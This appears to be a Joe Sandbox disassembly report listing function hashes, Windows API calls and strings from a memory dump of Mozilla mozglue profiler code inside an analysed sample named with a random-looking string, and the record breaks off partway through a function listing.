Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 0edd36aa9997a951edb5c233b18ad85bee8517109b38e1f9f665b44a7d3c0e49
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: CB320632B046118FC718DE6CC8A0E56BBE6AFC9350F0A866DE495CB395D730ED05CB91

Function 6C5277A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C527A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C527A93

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C527AA1

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C527B31

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction ID: 4a510955138f46a2fae3a8b60463339358ea00baa30c4efb0a44bdd79b3ea55a
Opcode Fuzzy Hash: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction Fuzzy Hash: 49B16C357083818BCB14CF24C85065EB7E2AFC9358F154A1DE995A7BD1DB74E90ACB82

Function 6C4F8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C4F97EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F9813, 6C4F985D, 6C4F9878, 6C4F9CEB

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction ID: 8aac0ac4ab5cc61bbfe68d98dcacd1fc0e42b57141154970ab62697b686a8514
Opcode Fuzzy Hash: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction Fuzzy Hash: 03D26B71A156018FD718CF19C590E15BBE1BFD6324B29C76DE87A8B7A5C732E842CB80

Function 6C516CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C516D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516E1E

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction ID: fd2881138fe8f4b574363b295e95acb4a8f269ce810b959b010a75b692efaa0a
Opcode Fuzzy Hash: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction Fuzzy Hash: 17A16C74618380CFD715CF24C8947AABBE2FFC8308F45491DE48A87B51DB74A949CB92

Function 6C53B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C50FE3F), ref: 6C53B720
RtlNtStatusToDosError.NTDLL ref: 6C53B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C50FE3F), ref: 6C53B760

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction ID: 9eb7590432983afe8be3c48ac6adf3d9ee9dfe89791d062f87b396f9160d4054
Opcode Fuzzy Hash: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction Fuzzy Hash: 69F0A470A0021CEEDF01AAA18C88BDE77BCDB84319F506129D515655C0E774A99CC661

Function 6C4F4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C4F4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F5585, 6C4F55A8, 6C4F55C3, 6C4F5624

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction ID: c9f65dc3212d2c47fbcd71fa4fca32264fc353eeb665468f80f30c6443d1546f
Opcode Fuzzy Hash: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction Fuzzy Hash: 04B25C71A056018FD309CF29C590F15BBE2AFC5325B29C76DE47A8B7A5D771E842CB80

Function 6C5385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C538C7C
__aulldiv.LIBCMT ref: 6C538DD7

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: d4f3cf98754f2de60cb63186e345606e4ba6729c6321f1f4902c2ab94f562fd0
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: ED325F71F011298BDF1CCE9DC8A17AEB7B2EB88300F15952BD50AFB790E6345D458B92

Function 6C4DDFE0 Relevance: 1.9, Strings: 1, Instructions: 683COMMON

Download Yara Rule

Strings

exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGz, xrefs: 6C4DE3A2, 6C4DE7AC

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGz
API String ID: 0-2819997574
Opcode ID: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction ID: 5b886731a7a80ff84700a9d16d018c14b88c7583ece8e1f7fbd96d5ceb3b530b
Opcode Fuzzy Hash: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction Fuzzy Hash: AC42A472A187508BD305DE3CC891B5AF3E2BFC9354F0A872DE999A7790D734E9418781

Function 6C5476E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C547796, 6C54793C, 6C547E0B, 6C547B0B, 6C5479FB, 6C5479C0

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 051ca7fb1014e6e0b0e13f9b930ed24752f20f0d00a0316de850774f05845cf7
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 0E32F871E0061A8FDB14CF99C890AADFBF2FF88308F548569C949A7745D731A986CF90

Function 6C546E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C547C03, 6C54793C, 6C547E0B, 6C547B0B, 6C5479FB, 6C547C72, 6C5479C0

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 0c7daa52e3ba2666e358dd58c22b79867d329998af478505c4f41febfe382672
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6B22D671E006198FCB14CF99C980AADF7F2FF88304F6585AAC949A7745D731A986CF90

Function 6C515C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C4E4A63,?,?), ref: 6C515F06

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction ID: 75727b09f3dce0603784fdeea40a35a454011bcaa0c0ce63ac205fe3706f86de
Opcode Fuzzy Hash: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction Fuzzy Hash: 3CC1C075D052098BDB04CF55C9946EEBBB2FF89318FA8415DD8556BF40D732A905CF80

Function 6C500512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 2f3cd4e33fb6bbe21c3a0a888f81a15e568cb1439f9ec475f030d69026fd3d0a
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 6C220671E04619CFDB14CF98C890AADF7B2FF89308F54859AD44AA7745D731A986CF80

Function 6C54AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction ID: 93c2e9b11f20a32c0f25a41f10fb7134b0e68c492a3fac5eec3e71711bf03715
Opcode Fuzzy Hash: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction Fuzzy Hash: 4AF137726087459FD740CE28CC807AEB7E6AFC5319F15CA3DE4D487781E77498898792

Function 6C4DC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 3db0940278c151d6171303a0cb17ca70b8fb635cae8602f95b56aedbb0d49a1c
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 9FA1B371F0021A8FDB08DE69C891BAEB7F2AFC8355F198169E915E7781D7346C068BD0

Function 6C517710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction ID: aa3a02b1b3ff15dfdbd00da9a773a39bad4616183b7b6240c88c6d486085e0bc
Opcode Fuzzy Hash: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction Fuzzy Hash: AC716D75E052198FDF08CFA9C8945EEBBB2FF89354F24816ED815ABB40D731A905CB90

Function 6C51CC00 Relevance: 76.7, APIs: 25, Strings: 26, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C4E582D), ref: 6C51CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C4E582D), ref: 6C51CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C54FE98,?,?,?,?,?,6C4E582D), ref: 6C51CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C51CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C51CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C51CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C51CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C51CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C51CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C51CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C51CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C51CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C51CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C51CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C51CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C51CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C51CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C51CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C51CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C51CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C51CE8A

Strings

exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGz, xrefs: 6C51CF3B
markersallthreads, xrefs: 6C51CE42
leaf, xrefs: 6C51CC66
nativeallocations, xrefs: 6C51CDA8
power, xrefs: 6C51CE84
noiostacks, xrefs: 6C51CCBE
java, xrefs: 6C51CC37
notimerresolutionchange, xrefs: 6C51CE00
ipcmessages, xrefs: 6C51CDBE
mainthreadio, xrefs: 6C51CC7C
cpuallthreads, xrefs: 6C51CE16
default, xrefs: 6C51CC21
screenshots, xrefs: 6C51CCD4
nostacksampling, xrefs: 6C51CD7C
fileio, xrefs: 6C51CC92
fJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC., xrefs: 6C51CD25
preferencereads, xrefs: 6C51CD92
Unrecognized feature "%s"., xrefs: 6C51CEA0
unregisteredthreads, xrefs: 6C51CE58
jsallocations, xrefs: 6C51CD0E
audiocallbacktracing, xrefs: 6C51CDD4
fileioall, xrefs: 6C51CCA8
processcpu, xrefs: 6C51CE6E
seqstyle, xrefs: 6C51CCE6
samplingallthreads, xrefs: 6C51CE2C
stackwalk, xrefs: 6C51CCF8

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGz$fJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.exeRGzQJPuRiNhxUnmfJXhCvC.$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1939048014
Opcode ID: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction ID: 264b4a6e11670e5a3b84bca554bfc81176ef5f901ed56783c2c41cfea4986744
Opcode Fuzzy Hash: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction Fuzzy Hash: 7651A9F1A5D26552FA0171196D19BAA1405EFD334AF10883BED0BA1F80FB07FA1D86B7

Function 6C4E47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E482D
__Init_thread_footer.LIBCMT ref: 6C4E484A

